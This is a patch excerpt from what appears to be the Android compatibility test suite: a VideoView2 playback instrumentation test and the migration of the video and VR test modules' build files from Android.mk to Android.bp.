+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class VideoView2Test {
+    /** Debug TAG. **/
+    private static final String TAG = "VideoView2Test";
+    /** The maximum time to wait for an operation. */
+    private static final long   TIME_OUT = 15000L;
+    /** The interval time to wait for completing an operation. */
+    private static final long   OPERATION_INTERVAL  = 1500L;
+    /** The duration of R.raw.testvideo. */
+    private static final int    TEST_VIDEO_DURATION = 11047;
+    /** The full name of R.raw.testvideo. */
+    private static final String VIDEO_NAME   = "testvideo.3gp";
+    /** delta for duration in case user uses different decoders on different
+        hardware that report a duration that's different by a few milliseconds */
+    private static final int DURATION_DELTA = 100;
+    /** AudioAttributes to be used by this player */
+    private static final AudioAttributes AUDIO_ATTR = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_GAME)
+            .setContentType(AudioAttributes.CONTENT_TYPE_SONIFICATION)
+            .build();
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private KeyguardManager mKeyguardManager;
+    private VideoView2 mVideoView;
+    private MediaController mController;
+    private String mVideoPath;
+
+    @Rule
+    public ActivityTestRule<VideoView2CtsActivity> mActivityRule =
+            new ActivityTestRule<>(VideoView2CtsActivity.class);
+
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mKeyguardManager = (KeyguardManager)
+                mInstrumentation.getTargetContext().getSystemService(KEYGUARD_SERVICE);
+        mActivity = mActivityRule.getActivity();
+        mVideoView = (VideoView2) mActivity.findViewById(R.id.videoview);
+        mVideoPath = prepareSampleVideo();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Keep screen on while testing.
+            mActivity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+            mActivity.setTurnScreenOn(true);
+            mActivity.setShowWhenLocked(true);
+            mKeyguardManager.requestDismissKeyguard(mActivity, null);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        final View.OnAttachStateChangeListener mockAttachListener =
+                mock(View.OnAttachStateChangeListener.class);
+        if (!mVideoView.isAttachedToWindow()) {
+            mVideoView.addOnAttachStateChangeListener(mockAttachListener);
+            verify(mockAttachListener, timeout(TIME_OUT)).onViewAttachedToWindow(same(mVideoView));
+        }
+        mController = mVideoView.getMediaController();
+    }
+
+    @After
+    public void tearDown() throws Throwable {
+        /** call media controller's stop */
+    }
+
+    private boolean hasCodec() {
+        return MediaUtils.hasCodecsForResource(mActivity, R.raw.testvideo);
+    }
+
+    private String prepareSampleVideo() throws IOException {
+        try (InputStream source = mActivity.getResources().openRawResource(R.raw.testvideo);
+             OutputStream target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE)) {
+            final byte[] buffer = new byte[1024];
+            for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
+                target.write(buffer, 0, len);
+            }
+        }
+
+        return mActivity.getFileStreamPath(VIDEO_NAME).getAbsolutePath();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructor() {
+        new VideoView2(mActivity);
+        new VideoView2(mActivity, null);
+        new VideoView2(mActivity, null, 0);
+    }
+
+    @Test
+    public void testPlayVideo() throws Throwable {
+        // Don't run the test if the codec isn't supported.
+        if (!hasCodec()) {
+            Log.i(TAG, "SKIPPING testPlayVideo(): codec is not supported");
+            return;
+        }
+        final MediaController.Callback mockControllerCallback =
+                mock(MediaController.Callback.class);
+        mActivityRule.runOnUiThread(() -> {
+            mController.registerCallback(mockControllerCallback);
+            mVideoView.setVideoPath(mVideoPath);
+            mController.getTransportControls().play();
+        });
+        ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+        verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+                someState.capture());
+        List<PlaybackState> states = someState.getAllValues();
+        assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+        assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+        assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+    }
+
+    @Test
+    public void testPlayVideoOnTextureView() throws Throwable {
+        // Don't run the test if the codec isn't supported.
+        if (!hasCodec()) {
+            Log.i(TAG, "SKIPPING testPlayVideoOnTextureView(): codec is not supported");
+            return;
+        }
+        final VideoView2.OnViewTypeChangedListener mockViewTypeListener =
+                mock(VideoView2.OnViewTypeChangedListener.class);
+        final MediaController.Callback mockControllerCallback =
+                mock(MediaController.Callback.class);
+        mActivityRule.runOnUiThread(() -> {
+            mVideoView.setOnViewTypeChangedListener(mockViewTypeListener);
+            mVideoView.setViewType(mVideoView.VIEW_TYPE_TEXTUREVIEW);
+            mController.registerCallback(mockControllerCallback);
+            mVideoView.setVideoPath(mVideoPath);
+        });
+        verify(mockViewTypeListener, timeout(TIME_OUT))
+                .onViewTypeChanged(mVideoView, VideoView2.VIEW_TYPE_TEXTUREVIEW);
+
+        mActivityRule.runOnUiThread(() -> {
+            mController.getTransportControls().play();
+        });
+        ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+        verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+                someState.capture());
+        List<PlaybackState> states = someState.getAllValues();
+        assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+        assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+        assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+    }
+}
diff --git a/tests/video/Android.bp b/tests/video/Android.bp
new file mode 100644
index 0000000..aeb08cf
--- /dev/null
+++ b/tests/video/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsVideoTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctsmediautil",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    jni_libs: [
+        "libctscodecutils_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
deleted file mode 100644
index f922734..0000000
--- a/tests/video/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil compatibility-device-util-axt ctstestrunner-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := libctscodecutils_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVideoTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/vr/Android.bp b/tests/vr/Android.bp
new file mode 100644
index 0000000..4ba27ad
--- /dev/null
+++ b/tests/vr/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsVrTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    jni_libs: [
+        "libctsvrextensions_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: [
+        "src/**/*.java",
+        ":CtsVerifierMockVrListenerServiceFiles",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "14",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
deleted file mode 100644
index e945e047..0000000
--- a/tests/vr/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsVrTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsvrextensions_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) ../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java
-
-LOCAL_SDK_VERSION := test_current
-LOCAL_MIN_SDK_VERSION := 14
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/vr/jni/Android.bp b/tests/vr/jni/Android.bp
new file mode 100644
index 0000000..1bdc092
--- /dev/null
+++ b/tests/vr/jni/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_library_shared {
+    name: "libctsvrextensions_jni",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-Wextra",
+    ],
+    srcs: ["VrExtensionsJni.cpp"],
+    include_dirs: [
+        "system/core/include",
+        "frameworks/native/opengl/include",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libEGL",
+        "libGLESv2",
+    ],
+    sdk_version: "current",
+    stl: "c++_static",
+}
diff --git a/tests/vr/jni/Android.mk b/tests/vr/jni/Android.mk
deleted file mode 100644
index 3b62b8a..0000000
--- a/tests/vr/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libctsvrextensions_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_CFLAGS += -Werror -Wall -Wextra
-
-LOCAL_SRC_FILES := VrExtensionsJni.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(call include-path-for, system-core) frameworks/native/opengl/include
-
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libEGL libGLESv2
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)